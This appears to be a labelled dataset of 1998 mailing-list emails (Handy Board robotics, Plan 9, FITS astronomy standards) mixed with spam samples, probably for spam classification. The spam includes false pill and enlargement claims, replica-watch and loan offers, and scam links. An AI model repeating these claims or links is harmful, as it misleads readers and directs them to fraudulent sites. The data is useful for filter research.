throughout a day, week, month, or year. > >I'm a software expert so I have no problems there, but I could use some help >from you hardware and electronic experts... > >How can I actually monitor the true 120V AC power usage in a home running a >furnace, dishwasher, lights, and TV etc.? > >One way I figure might be to install a sensor on the front of the glass of the >electricty meter to detect that little black band on the disc that spins round >and round, but that would have to be a pretty darned good sensor, no? Right. If you're trying to do that, good luck!!! If I ABSOLUTELY had to do that, I would try to use the reflectance of the disk. On the black spot I would read zero. But it would be waaaay too much trouble. >Another way might be to do something similiar to whatever it is that the >electric company does to measure the power, but I have no idea what that is so I >don't how to do that either. Well the idea of putting a tore with some wire is one of my favorite idea. Problems are: 1. the voltage output would have to be converted to DC throught a diode and smoothed with some capacitors 2. the diode has some voltage drop, which you must take in consideration if you want to take precise mesurements. If your goal is to get an overall picture of your consumption, then if you read 0 with the handyboard, your appliance may be completely off or using few amps (a CD player turned off can still use 8 watts!) 3. if i had to do this, I would like to isolate the low voltage section and the high voltage section... If something had to happen, I don't want my handyboard to get fried.. maybe using some 1/8 fuses or less? 4. What the insurances would say if they knew you played around with your electrical panel? ;) Do you have an electrician license? 5. Considering all this trouble, I think I prefer buying an amprobe and keep my handyboard for controlling a stepper motor mounted on my vertical stores =) Cya! .-------------------------- . . . | Remi Desrosiers | ""My Youth in Arcadia"" ICQ# 7228856 | harlock@videotron.ca . remi.desrosiers@polymtl.ca . . ",0,0 Stephan ,Mario <9fans@cse.psu.edu>,"Thu, 12 Nov 1998 06:53:36 +0700",Lovers can get results in a short time,"Exactly the same thing as regular Ciali!s but specifically created, these p#ills are soft and dissolvable below the tongue. The result of this is a fast absorption into the blood stream, rather than through the stomach. Restult is a powerful, lasting effect of up to one and half day. http://vjbewt.coatbig.info/?70014323 Note: it's not relevant what type of meal you have recently eaten in fact the medical product does not go through your digestive system. ",1,1 Marlon ,Mendek ,"Thu, 12 Nov 1998 03:25:04 +0100",next month,"Morning Mendek, You still wanna to impress ur girl? U still hearing complaints about it in the room? If so then come by http://www.itismysiforiteach.com/taw/. a has of lot concerns that of rules on how many fish you should place Talk to ya later Marlon ",1,1 Digby Tarvin ,9fans@cse.psu.edu,"Thu, 12 Nov 1998 08:23:03 +0000",[9fans] sunmmu.h??,"I tried my first 'mk all' in /sys/src/9 today, and hit a snag. I don't seem to be able to build a ss10 kernel from my CD distribution. Is this a known problem? >From /sys/src/9/ss10/l.s: #include ""mem.h"" #include ""sunmmu.h"" But a search of my CD (under UNIX) gives: skaro:/usr/home/digbyt> find /cdrom -name 'sunmmu.h' -print skaro:/usr/home/digbyt> Couldn't see any mention of this in the plan9 faq on www.ecf.toronto.edu, so I am puzzled as to why I seem to be the only one to have hit this... Is this missing header file available somewhere? I am running the system on a SS2 served by a BSD hosted u9fs, although I don't think that should effect anything. Any Plan9 gurus offer any insight into this?? Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 """Joe Marie J. Maja"" ",HandyBoard ,"Thu, 12 Nov 1998 19:32:48 +0900",questions,"????????? Does anyone have a PID Control code in Handyboard? (I mean using the smooth PWM and shaft encoder routine). Thanks in advance. joema ",0,0 Bill Bynum ,handyboard@media.mit.edu,"Thu, 12 Nov 1998 09:44:19 -0500",Re: Connecting two HandyBoards through their serial ports ,"Hello, everyone: Richard Drushel helped me solve the problem that I was having in getting two HandyBoards to communicate through their serial ports by suggesting that I check to be sure that the wiring on the RJ11 cable I was using corresponded to a ""null modem"" connection. Indeed, the connecting RJ11 cable I was using turned out NOT to be a null modem cable. On the HandyBoard FAQ, the following question tells how to connect two HandyBoards: > I want to plug two Handy Boards together so that they can > communicate. What kind of cable should I use? > > For this application, you must use the network style RJ11 cable > (as described above). Do not use the normal telephone style > RJ11 cable used to connect the HB to the serial interface, or > you will suffer the smoke and burn consequences noted above. The question before this one in the FAQ -- ""The R11 on my Interface/Charger is smoking hot and is turning black! ..."" -- describes a network-style RJ11 cable by saying that if you hold the the ends of the cable plug-to-plug, both contact side up, the wires line up as follows: -------+ +-------- --------- black| |yellow ----------- --------- red| |green ----------- --------- green| |redn ----------- --------- yellow| |black ----------- -------+ +-------- Wiring an RJ11 cable this way avoids smoking the power supplies on the two HandyBoards, because the unswitched power leads of the two HandyBoards are connected, the ground leads are connected, the RxD leads are connected and the TxD leads are connected. Either the above diagram is wrong (I think that it's right, actually) or the advice in the FAQ to use this kind of cable is wrong, because it is necessary for the RxD and TxD leads on the two HandyBoards to be swapped and the ground leads to be matched. The unswitched power leads aren't needed for serial communication, but if they are connected, then they have to be matched. Namely, if you wire your RJ11 cable so that when you compare the cable plugs contact side up you get the pairings: -------+ +-------- -------- black| |black ------------ -------- red| |green ------------ -------- green| |red ------------ -------- yellow| |yellow ------------ -------+ +-------- This wiring switches TxD and RxD, but matches up the unswitched power leads and the ground leads on the two robots. When you use an RJ11 cable wired this way to connect two HandyBoards, then the serialio.c functions implement serial communication between the two HandyBoards quite nicely. Bill Bynum ",0,0 """Fred G. Martin"" ",Bill Bynum ,"Thu, 12 Nov 1998 11:22:02 -0500",Re: Connecting two HandyBoards through their serial ports ,"Gads Bill, you are right and my info in the FAQ is dead wrong. I have updated the FAQ with the corrected information. *Thanks a lot* for working this one through. There are few things more annoying than completely wrong documentation (compiler bugs maybe are one of them). Fred In your message you said: > Hello, everyone: > > Richard Drushel helped me solve the problem that I was having > in getting two HandyBoards to communicate through their serial > ports by suggesting that I check to be sure that the wiring on the > RJ11 cable I was using corresponded to a ""null modem"" connection. > Indeed, the connecting RJ11 cable I was using turned out NOT to be > a null modem cable. > > On the HandyBoard FAQ, the following question tells how to > connect two HandyBoards: > > > I want to plug two Handy Boards together so that they can > > communicate. What kind of cable should I use? > > > > For this application, you must use the network style RJ11 cable > > (as described above). Do not use the normal telephone style > > RJ11 cable used to connect the HB to the serial interface, or > > you will suffer the smoke and burn consequences noted above. > > The question before this one in the FAQ -- ""The R11 on my > Interface/Charger is smoking hot and is turning black! ..."" -- > describes a network-style RJ11 cable by saying that if you hold > the the ends of the cable plug-to-plug, both contact side up, the > wires line up as follows: > > -------+ +-------- > --------- black| |yellow ----------- > --------- red| |green ----------- > --------- green| |redn ----------- > --------- yellow| |black ----------- > -------+ +-------- > > Wiring an RJ11 cable this way avoids smoking the power supplies > on the two HandyBoards, because the unswitched power leads of the > two HandyBoards are connected, the ground leads are connected, the > RxD leads are connected and the TxD leads are connected. > > Either the above diagram is wrong (I think that it's right, > actually) or the advice in the FAQ to use this kind of cable is > wrong, because it is necessary for the RxD and TxD leads on the > two HandyBoards to be swapped and the ground leads to be matched. > The unswitched power leads aren't needed for serial communication, > but if they are connected, then they have to be matched. Namely, if > you wire your RJ11 cable so that when you compare the cable plugs > contact side up you get the pairings: > > -------+ +-------- > -------- black| |black ------------ > -------- red| |green ------------ > -------- green| |red ------------ > -------- yellow| |yellow ------------ > -------+ +-------- > > This wiring switches TxD and RxD, but matches up the unswitched power > leads and the ground leads on the two robots. > > When you use an RJ11 cable wired this way to connect two HandyBoards, > then the serialio.c functions implement serial communication between > the two HandyBoards quite nicely. > > Bill Bynum > ",0,0 Keven ,'Trisha' ,"Thu, 12 Nov 1998 10:42:02 -0200",Sperm pill that works ," Hi friend: We have quality product to help you Enjoy better sex life. All products offer 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer belyingg7890hjfdefshhsdajkshdsjk ",1,1 Eric Dorman ,9fans@cse.psu.edu,"Thu, 12 Nov 1998 09:01:38 -0800",Re: [9fans] sunmmu.h??,"On Thu, Nov 12, 1998 at 08:23:03AM +0000, Digby Tarvin wrote: > I tried my first 'mk all' in /sys/src/9 today, and hit a snag. > > I don't seem to be able to build a ss10 kernel from my CD > distribution. Is this a known problem? > > >From /sys/src/9/ss10/l.s: > #include ""mem.h"" > #include ""sunmmu.h"" I believe if you comment out the #include ""sunmmu.h"" it'll compile fine. > Regards, > DigbyT > Digby R. S. Tarvin digbyt@acm.org Regards, Eric Dorman edorman@ucsd.edu ",0,0 Will ,Handyboard Mailing List ,"Thu, 12 Nov 1998 10:22:09 -0700",Re: questions,"Joe Marie J. Maja wrote: > Does anyone have a PID Control code in Handyboard? (I mean using the > smooth PWM and shaft encoder routine). Sure. I wrote the attached program to keep my robot tracking in a straight line (it used to arc across the floor). It's not very elegant code, but it works. Note that some of the constants will need to be tweaked for your particular application. Hope this helps. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Few things are harder to put up with Will Bain, than the annoyance of a good example. & Tatoosh --Mark Twain",0,0 Franklin <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Thu, 12 Nov 1998 17:23:05 -0200",[9fans] Sockets," Did anyone run tests with bsd sockets library in /sys/src/ape/lib/bsd? Connect.c calls unlink which is inexistent in Plan 9 and remove needs libc.h which conflicts with sockets.h. Franklin. ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Thu, 12 Nov 1998 15:00:07 -0500",Re: [9fans] Sockets ,Franklin <973930@dcc.unicamp.br> writes: | Did anyone run tests with bsd sockets library in | /sys/src/ape/lib/bsd? I posted some patches for various things a while back.,0,0 """Joe Marie J. Maja"" ",nepenthe@montana.com,"Fri, 13 Nov 1998 08:16:01 +0900",Re: questions,"Will wrote: > Joe Marie J. Maja wrote: > > Does anyone have a PID Control code in Handyboard? (I mean using the > > smooth PWM and shaft encoder routine). > > Sure. I wrote the attached program to keep my robot tracking in a > straight line (it used to arc across the floor). It's not very elegant > code, but it works. Note that some of the constants will need to be > tweaked for your particular application. Hope this helps. Good luck! > Thanks for the info and the code. got it. But I need something like an implementation of Proportional-Integral Controller or P-I-Differential Controller (Feedback Control Loops), which we always see on any control books. Thanks in advance. joema ",0,0 Marion Kendall <3sawjmarap87m@icsol.es>,handyboard@media.mit.edu,"Fri, 13 Nov 1998 11:34:22 +0300","Please respond Fri, 13 Nov 1998 03:34:22 -0500"," Do you want to look c00l and w3althy but do not have the m0ney to aff0rd a= sweet n3w R0lex watch? Get a 98% L00kalike R0lex watc_h here! We have replika_s of all the fines_t bran_d watc_hes. Check them out here! http://www.swiss-shopp.com/?aff=3D23 Sincerely, Marion Kendall ",1,1 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Fri, 13 Nov 1998 10:00:33 +0900",[9fans] How to use strdup()?,"strdup(2) uses malloc(2), but does not free it. When the malloced memory space will be freed? I'm facing memory problem in news reader having more than 2000 unread articles which uses the strdup() more than 2000 times, and then fails in malloc. Is this mean not to use strdup() in that situation? Kenji ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Thu, 12 Nov 1998 20:12:24 -0500",Re: [9fans] How to use strdup()? ,"okamoto@granite.cias.osakafu-u.ac.jp writes: | strdup(2) uses malloc(2), but does not free it. | When the malloced memory space will be freed? You'll need to free each string when you know it is no longer in use. Anyone ported Bohem's garbage collector to Plan 9? Alternatively, anyone ported Limbo to Plan 9? :-) ",0,0 Assar Westerlund ,9fans@cse.psu.edu,"Fri, 13 Nov 1998 02:19:03 +0100",[9fans] Re: How to use strdup()?,"okamoto@granite.cias.osakafu-u.ac.jp writes: > strdup(2) uses malloc(2), but does not free it. > When the malloced memory space will be freed? You have to call free(2). /assar ",0,0 Rusty Ferguson ,handyboard@media.mit.edu,"Thu, 12 Nov 1998 20:24:59 -0400",help,"-Sensattional revolution in medicine! -Enlarge your penis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be i`mpressed with results! Clisk here: http://accomplicedesign.net reservation antares competition cobblestone hapsburg varitype handgun ac redtop scurvy vivify fluff biharmonic conciliatory copernicus herr quitting betony enthusiastic perform cowhide clark derive rye bicycle spumoni renounce deputy sisal sucrose rescue quatrain downdraft peritectic bash prowl balinese bedtime remember christmas track chemotherapy bostonian pillage byway bulletin spec not wobble abreact sentence disruptive corvette virtue ",1,1 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Fri, 13 Nov 1998 16:36:47 +0900",[9fans] alias problem,"We experienced a curious problem on mail alias of upas. In a user's /mail/box/user/names file, we have a line as ryu ryu-98@abcd.cias.osakafu-u.ac.jp, and then, tryed to send a mail to ""ryu"" from acme Mail program. As a result, we got an error message from the upas system as: Mail to ""ryu"" alias 'local!ryu' from 'Liz.Bimmler' failed. The error message was: unknown user. Of course, we have not a local user of ""ryu"" or ""Liz Bimmler"" anywhere. Kenji ",0,0 Douglas Fraser ,9fans@cse.psu.edu,"Wed, 11 Nov 1998 13:01:18 -0500",Re: [9fans] DMR's OS :(,"Douglas A. Gwyn wrote: > > Steve Kotsopoulos wrote: > > My organizer has never crashed on me, and I've had it since before Unix <> > Furthermore, its self-diagnostic program never reports any errors ... > whether or not there are any! Tru, buht tha spel chekker iz limmited. -- Doug Fraser dwfraser@lucent.com",0,0 Mats Karlssohn ,9fans@cse.psu.edu,"Wed, 11 Nov 1998 22:08:59 +0100",[9fans] Plan 9,"I'm thinking about ordering the Plan 9 distribution to get something fresh to play around with. Not to make things too easy for me I'm (and to make use of machines present in the appartment) thinking of using an old SPARCstation IPC as my file server and a pentium/200 as CPU server. What I basically want to know is: is this a resonable configuration ? Will the IPC be fas enough to give resonable performance ? Better ideas ? -- Mats Karlssohn (SM5TFX), sm5tfx@swipnet.se ""Without mistakes there is no forgiving, without forgiving there is no love"" ",0,0 Bengt Kleberg ,9fans@cse.psu.edu,"Thu, 12 Nov 1998 22:01:24 +0100",Re: [9fans] kfs on sparc,"In article <199811110855.JAA331408@relay.ch.genedata.com>, 9fans@cse.psu.edu wrote: > > Finally, the entry for the sparc in BOOTING(8) only mentions > > net booting. Can a Sun be made into a stand alone Plan9 > > workstation? > > good question. making a SPARC kernel with kfs is easy (the > Plan 9 FAQ even tells you how). booting that off the net is > similarly easy. booting from a local disc... that part has > escaped me. in the end i worked out that the only way it > was going to work was if i left a minimal Solaris partition > on my disc with the second- and third-stage boot loaders > and replaced the Unix kernel with the Plan 9 one. sadly a > friend had kindly installed Solaris 2.6 over Solaris 2.5 on > my little old IPC, and the boot loader in 2.6 only supports > ELF binaries. The only way to boot from a disk is to have a boot loader that supports plan9 kernels. Such a loader is installed if one use SunOS4 or OpenBSD (and apperantly old versions of Solaris? I tried 2.5, but it did not work for me) What one can do on a Solaris system is to get hold of the following SunOS4 programs/data files: /boot /usr/kvm/mdec/installboot /usr/kvm/mdec/bootsd and do the following on a minimal 'a' partition (I had the /dev compatibility package installed on Solaris) on _another_ disk, not the Solaris boot disk: mount /dev/dsk/c0t1d0s0 /mnt cp /boot /mnt/boot /usr/kvm/mdec/installboot /mnt/boot /usr/kvm/mdec/bootsd /dev/rsd1a cp plan9kernel /mnt",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Fri, 13 Nov 1998 03:29:50 -0500",Re: [9fans] Plan 9 ,"Mats Karlssohn writes: | Will the IPC be fas enough to give resonable performance? | Better ideas ? I used an ss2, which was ok, but I had random problems with the scsi controllers in my SLCs. (I didn't have any IPCs, sorry.) If you use an x86 you can use more modern scsi controllers, which will probably be faster and more stable.",0,0 %FROM_USER <%FROM_EMAIL>,9fans@cse.psu.edu,"Fri, 13 Nov 1998 11:54:18 +0800",%_SUBJ_VIAGRA," C a I c A m L q I k S y M d E o R z I t D p I r A m S x O q M n A t V y A i L o I r U h M d V w I h A x G a R n A b X y A q N r A n X i A f M y B c I s E s N m S u A m V x E e s O k V w E d R f l 7 f 0 i % v c W r I p T e H h o O d U y R y d S p H f O w P p ! j [1]%RND_LINK _________________________________________________________________ %RND_WORD %RND_WORD %RND_WORD %RND_WORD %RND_WORD %RND_WORD References 1. file://localhost/home/cmf2/tasks/srx_05/%RND_LINK ",1,0 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Fri, 13 Nov 1998 09:46:59 -0000",,"Hi all, Ok now i know how to charge my NiCad batteries i have laying around. Thanks to Brett and Scott for the info. I have been doing my sums to try and work out the series resistor i need to charge a 2Amp NiCad at C/10, but my figures dont seem right. Iam using an old laptop power adapter rated at 15V @ 4.4A, ok so here goes. 2A charge current needed for nicad = ------- = 200mA. 10 15volts Resistor needed = ---------- = 75 Ohms 0.2A power rating of resistor = 15Volts * 200mA = 3Watts Series resistor needed = 75 Ohms @ 3 Watts. ----------------------- ------- The 75 Ohms bit seems reasonable to me but 3Watts must be way to much. could anyone show me where i have gone wrong. Thanks Russ. ",0,0 Gersham Caruthers ,9fans@cse.psu.edu,"Fri, 13 Nov 1998 05:01:08 -0500",This needs to be tried,"in paraboloid and teethed or disburse be bureau a jot ",1,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Fri, 13 Nov 1998 14:52:48 +0000",Re: [9fans] How to use strdup()?,">>I'm facing memory problem in news reader having >>more than 2000 unread articles which >>uses the strdup() more than 2000 times, and >>then fails in malloc. it probably means i didn't consider closely enough when to free the string passed to plinitlabel etc, and never noticed the program growing. i think most of the other strdup'd values are freed correctly. as several people have said, the result of strdup must be freed explicitly somewhere. ",0,0 Gordon Irlam ,jojo@base.com,"Fri, 13 Nov 1998 13:09:26 -0600",Re: Jojo: Fwd: Hate Crimes Petition,"Dear electronic cyber-club house buddies: Please don't follow up on this petition. More significant than it being off topic, it is also unlikely to be effective. Phil Agre explains the reasons better than I could: ""DO NOT use a chain-letter petition. A chain-letter petition is an action alert that includes a list of names at the end, inviting people to add their own name, send in the petition if their name is the 30th or 60th or etc, and in any case forward the resulting alert-plus-signature-list to everyone they know. This idea sounds great on the surface, but it really doesn't work. The problem is that most of the signatures will never reach their destination, since the chain will fizzle out before reaching the next multiple of 30 (or whatever) in length. What's even worse, a small proportion of the signatures will be received in the legislator's office many times, thus annoying the staff and persuading them that they're dealing with an incompetent movement that can never hold them accountable."" Anyone interested in information on how to engage in effective Internet based political activism is refered to the very readable ""Designing Effective Action Alerts for the Internet"": http://dlis.gseis.ucla.edu/people/pagre/alerts.html thanks, gordoni ",0,1 Phil ,handyboard@media.mit.edu,"Fri, 13 Nov 1998 16:26:18 +0200",going out with you,"Hi, bHope I am not writing to wrong address. I am nice, pretty looking girl. I am plannaing on visiting ybour town thais month. Can we meet each other in persbon? Message me back at av@popmailme.com ",1,0 """Scott R. Harris"" ",r.farnhill@bssl.co.uk,"Fri, 13 Nov 1998 12:16:14 -0500",Re: your mail," On Fri, 13 Nov 1998 r.farnhill@bssl.co.uk wrote: > The 75 Ohms bit seems reasonable to me but 3Watts must be way to much. > could anyone show me where i have gone wrong. 3 Watts is correct. Look at the resistor on the HB charger board. It's pretty hefty too. -Scott ",0,0 bernardo mendez ,handyboard@media.mit.edu,"Fri, 13 Nov 1998 09:39:20 -0800",how to adapt a voltage signal?,"greetings to all i dont know if it has been asked before, but im trying to use son extra ADCs on my handyboard, trouble is they have a 0 to 5V range (analogue) but im trying to adapt the signals in the ranges of 0 to 50 volts, how do i make them proportional to the 0 to 5 V range? any thought or comments to : bernardo72@hotmail.com thanks bernardo ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Scott R. Harris"" ",bernardo mendez ,"Fri, 13 Nov 1998 15:20:06 -0500",Re: how to adapt a voltage signal?,"You could use resistors to make a 1/10 voltage divider. If you need high input impeadance, you could build an Op-Amp circuit to divide the voltage by 10. Most ADC chips have a pin that is the reference voltage for the high end of the scale--set this pin to 50V. I think there is a pin on the 68CH11 that is a referece voltage for the ADCs, although I'm not sure it can go to 50V. -Scott On Fri, 13 Nov 1998, bernardo mendez wrote: > greetings to all > > i dont know if it has been asked before, but im trying to use son extra > ADCs on my handyboard, trouble is they have a 0 to 5V range (analogue) > but im trying to adapt the signals in the ranges of 0 to 50 volts, how > do i make them proportional to the 0 to 5 V range? > any thought or comments to : > > bernardo72@hotmail.com > > thanks bernardo > > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > ",0,1 Carlos Fernandez ,Handy Board ,"Fri, 13 Nov 1998 16:18:49 -0500",FT639 and Lynxmotion IRPD,"Has anybody try to interface a FT639 to a Handy Board ? Has anybody try to interface a Lynxmotion IRPD kit to a Handy Board ? ",0,0 Don Wells ,fitsbits@fits.cv.nrao.edu,"Fri, 13 Nov 1998 16:36:29 -0500",ADASS-FITS-BoF annual report (WCS negotiations)," ADASS-FITS-BoF annual report (WCS negotiations) Don Wells [Chair, IAU FITS Working Group] 1998-11-13 In recent years the FITS BoF [Birds-of-a-Feather] sessions at ADASS meetings have been the primary annual face-to-face meeting for the FITS community, and the agenda of each BoF has acted as an annual report for FITS. I have prepared this memo as a written version of the three viewgraphs which I used at the ADASS'98 FITS BoF, held at Univ. of Illinois late in the afternoon of Monday November 2nd. There were 30-40 people present in the room. 1. The NASA NOST FITS Standard A technical panel under the leadership of Bob Hanisch has been working on this codification of all FITS Agreements through the end of 1997. A draft version was submitted to the community for review in the spring of 1998, and 140 comments were received from the worldwide FITS community. The technical panel has considered each of these comments, and has decided on responses to them. Bob Hanisch was not able to attend ADASS'98, so the secretary of the panel, Bill Pence, read Hanisch's report to the BoF. The panel expects to send out the responses soon, and to have a new version of the Standard ready for review within a few months, perhaps within a few weeks. The ultimate goal of this effort is to produce a definitive version of the FITS Standard, a version which will be approved by the three FITS regional committees and by the IAU FITS Working Group, so that it can replace the FITS papers. Don Wells stated that he would like for this definitive version of the FITS Standard to be published in A&A Supplement. 2. The FITS Y2K (DATE-OBS) Agreement This agreement was adopted by the IAU-FWG in November 1997, one year ago. Don Wells pointed out that full interchange of the new notation is to begin 1999-01-01, only two months from now. He asked who had changed code in response to this agreement, and roughly half of those present raised their hands. 3. IAU Comm5 Task Group [TG] - Designations and OBJECT strings Don Wells reminded the BoF that the IAU TG on Designations has asked that the maximum lengths of OBJECT strings in interchange be increased to at least 26 characters in order to support the IAU standard object designation syntax. The NOST technical panel has addressed this issue and has decided that all string values in FITS headers may be up to 68 characters in length, which will solve the technical aspect of this problem. The real goal is to use object designations which will not be ambiguous when they appear in archival databases; in particular, comments about filter choices, weather, etc., should not be appended to object names in OBJECT strings. Ideally the IAU prefixes and coordinate syntax will be implemented and used in data acquisition systems. Wells urged the BoF to 'help stop namespace pollution!' 4. WCS [World Coordinate System] negotiations Don Wells reminded the BoF that there were a number of WCS issues outstanding after the ADASS'97 [Sonthofen] BoF, even though significant progress was made in negotiations during ADASS'97. Some of the differences of opinion had prevented conclusion of negotiations for several years. Wells reported that in March 1998 he had created a small ad hoc task group [TG] to work on the outstanding technical issues. This TG was expanded to about 15 people in July 1998, and much progress was made, with the result that Wells reported to the BoF that a working consensus now exists. The final major steps of the negotiations occurred during the 24 hours preceding the ADASS'98 BoF. The WCS Agreement which the TG is producing will be the most complex FITS agreement to date; we have been negotiating it for more than a decade. The items below are not the complete agreement, but only the set of important features which were discussed at the BoF. a) Split G&C into two papers The TG will recommend that the Greisen & Calabretta draft WCS paper be split into two papers. The first paper will have a title something like 'Generalized Representations of World Coordinate Systems in FITS', and will specify meta-rules for FITS WCS conventions. The second paper will specify the WCS conventions for celestial coordinates. The meta-rules are needed because the TG expects that eventually there will be a third paper for the spectroscopic case and maybe another paper on time axes. b) Linear transformation to use CDi_j keywords The TG will recommend that the IRAF CDi_j rotation matrix keywords be adopted instead of the PCiiijjj keywords which were suggested in previous drafts of the Greisen & Calabretta paper. This means that CDELTi and CROTAi will not be used. It also means that the WCS agreement will have backwards compatibility with several existing data archives. c) Multiple-WCS support The TG will recommend that optional additional sets of WCS keywords in FITS headers be distinguished from the default set of WCS keywords and from each other by appending a single alphabetic character [A-Z] to all of the WCS keywords. Examples of such keywords could be CRPIX1B, CD2_1C, CRVAL3D and CTYPE2A. Note that the default set of WCS keywords in these cases would still be CRPIX1, CD2_1, CRVAL3 and CTYPE2. Datasystems which do not support the multiple WCS notation will need to regard WCS keywords with trailing non-numeric characters as unrecognized keywords. Discussion of this idea during the BoF exposed new examples of usage which added to the cases which have convinced the TG that multiple-WCS capability will be valuable. The optional appended version code character will restrict the basic WCS keywords to seven characters. Therefore, the TG will recommend that WCS axis numbers be in the range 1-99 (i.e., axes 100-999 will not be supported). d) New distorted-projection capability to be added The TG will recommend that a set of distortion terms analogous to those used in the DSS [Digital Sky Survey] be added to the basic TAN and ARC projections in order to support a variety of optical imaging systems which produce distorted geometries without requiring re-gridding of the vast quantities of data being produced. The goal is to agree on a set of terms which will represent the geometric distortions of all existing optical cameras. The set will include radial terms, analogous to those in the 'ZPN' projection described in the Greisen & Calabretta draft. The majority of imaging systems will be supported by these radial terms. (The 'radial' terms used in the DSS are X(X^2+Y^2), Y(X^2+Y^2), X(X^2+Y^2)^2 and Y(X^2+Y^2)^2; these implement an elliptically-symmetric radial distortion.) The non-radial terms, such as XY^2 and X^2Y, will be particularly useful for re-imaging cameras like HST's WFPC-1 and WFPC-2. Several TG members believe that such cameras have two 'center-points' for their axes, the tangent point of the main telescope and the centers of the field-flattening lenses of the individual cameras; probably two keywords will be defined to specify a center point offset for the polynomial terms (the main telescope's TAN geometry center point will be specified by CRPIXi). Several TG members intend to collect information about existing re-imaging cameras to verify this conjecture. Work is going on to formulate models that describe the small systematic distortions seen in Schmidt astrometry, relative to the ARC projection, and this important special case may justify explicit support in the FITS standard. Whether or not the TG recommends that terms for such models be added to the set of distortion terms, some version of the pixel correction images described in Appendix A of the Greisen & Calabretta draft will probably still be specified to describe the residual random distortion field for the highest precision, widest field applications. The TG expects that most optical cameras will be represented satisfactorily by the polynomial terms alone. The TG will recommend that all WCS parameter values be conveyed by keywords PVi_k (PVk_i?), where i is the index of the parameter and k is the index of the axis. This notation will replace the PROJPi keywords suggested in the Greisen & Calabretta draft. The axis index for WCS keywords will be restricted to 99 or less; note that if the axis index k is 9 or less (the usual case), the parameter index i in PVi_k may range up to 999 without exceeding the seven character limit set by the plan to use an optional appended character for multiple-WCS support. e) WCS discussions and decisions during the BoF session Don Wells encouraged discussion of items (a), (b), (c) and (d). In the course of the discussion, it became clear that items (a), (b) and (c) had firm support from those present at the BoF. The following issues were discussed: - Wells asked whether the distortion projection should be given some new name to distinguish it from TAN and/or ARC; some TG members have worried that the complicated polynomial would confuse newcomers to FITS WCS who need to know that the TAN projection is appropriate for most optical imagery. It became clear that there was a consensus favoring adding the new terms to both the TAN and the ARC projections rather than creating a new projection. Although the leading radial term of the polynomial is sufficient to represent the difference between TAN and ARC (the DSS uses TAN rather than ARC, as you would expect for a Schmidt camera!), maintaining the distinction has a tutorial advantage. - A number of people at the BoF argued that the order of the indices in the PV keyword should be swapped, to PVk_i; presumably the TG will consider this modification. - Wells raised the issue of whether all parameters of a projection should be restricted to the 'Dec-like' axis (as it was with CROTAk), or alternatively should be associated in some agreed-upon fashion with both axes of a celestial projection. Some TG members have preferred to retain the former convention, but there was a clear consensus at the BoF that parameters should be associated with both axes. This convention will have the advantage that analogous polynomial terms associated with the two axes will have the same indices (one of the drafts considered by the TG had the indices of the second axis offset by 20). - Doug Tody suggested that axis_k=0 be used for specifing general parameters that apply to the entire WCS of a multi-WCS group; the TG will need to consider the implications of this detail of the rules. - Tody also raised the issue of whether the datatype of a PV keyword should be restricted to numerical, or defined by the WCS function type to which the parameter is assigned (this case is unusual in that the PV keywords are not fully defined, rather their usage is defined by each WCS). - Some people at the BoF regretted the demise of CROTAi and, especially, CDELTi, since they are so easy to use and feature in many existing files. They are suggesting that CDELTi and CROTAi could function as functional synonyms of CDi_j. (WCS reading code will have to support CDELTi and CROTAi forever because there are many existing files that use these keywords. The question is whether they are to be ""deprecated"" or will be recognized as ""official synonyms"".) Upon a motion by Doug Mink, an informal vote was taken to express general support for the work of the TG as described above, and the show of hands in support was unanimous. At this point in the session Don Wells told Eric Greisen that he and Mark Calabretta now had the working consensus which they had specified as a precondition before undertaking the next round of revision of the WCS draft paper. f) WCStools paper in ADASS'98 session Paper T6.2 ('WCSTools: an Image Astrometry Toolkit') was presented by Doug Mink in the afternoon session on Tuesday, the day after the FITS BoF session. The final sentence of the abstract is: 'The proposed FITS WCS standard is being tracked, and interim formats are being supported.' During the questions after Doug Mink spoke, Don Wells exhorted the community to include proper WCS notations in the headers of all optical imagery. Mink's WCSTools software is available at: http://tdc-www.harvard.edu/software/wcstools/. g) New members for the WCS TG? Don Wells told the BoF that he is prepared to add new members to the ad hoc WCS task group, but that such people should understand that they are expected to contribute to the solutions to FITS WCS problems. Wells is especially interested in adding people with knowledge of the geometry of re-imaging cameras, or of Schmidt camera geometry or general knowledge of precision astrometry, in order to complete the design of the distortion correction terms for the TAN and ARC projections. 5. Another Issue discussed at the BoF One person (the Chair does not recall who it was) reported having encountered a FITS tape which was not blocked in accordance with the FITS Blocking Agreement (Section 4.6 in the NOST 100-1.2 [1998-04-02] version of the FITS Standards). The people present at the BoF deplored this, of course. [NOTE: the text of this report has been reviewed by the WCS TG, and corrections/additions suggested by TG members have been made.] -- Donald C. Wells Associate Scientist dwells@nrao.edu http://www.cv.nrao.edu/~dwells National Radio Astronomy Observatory +1-804-296-0277 520 Edgemont Road, Charlottesville, Virginia 22903-2475 USA ",0,1 Melinda Beverly ,handyboard@media.mit.edu,"Fri, 13 Nov 1998 13:20:15 -0500",Whats Hot,"some allen not faro try delilah may bloodline but stipulate ",1,0 Alta Steiner ,"handyboard@media.mit.edu, taylor@media.mit.edu","Fri, 13 Nov 1998 16:06:36 -0800",best refi rate in years,"We have got the Lowest rates in a long time. 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I'm using a optical encoder which is a slotted wheel. When the first pulse is detected, the first number appear on the LCD is 5 or 8. Why not 1 only since is only the first pulse detected ? 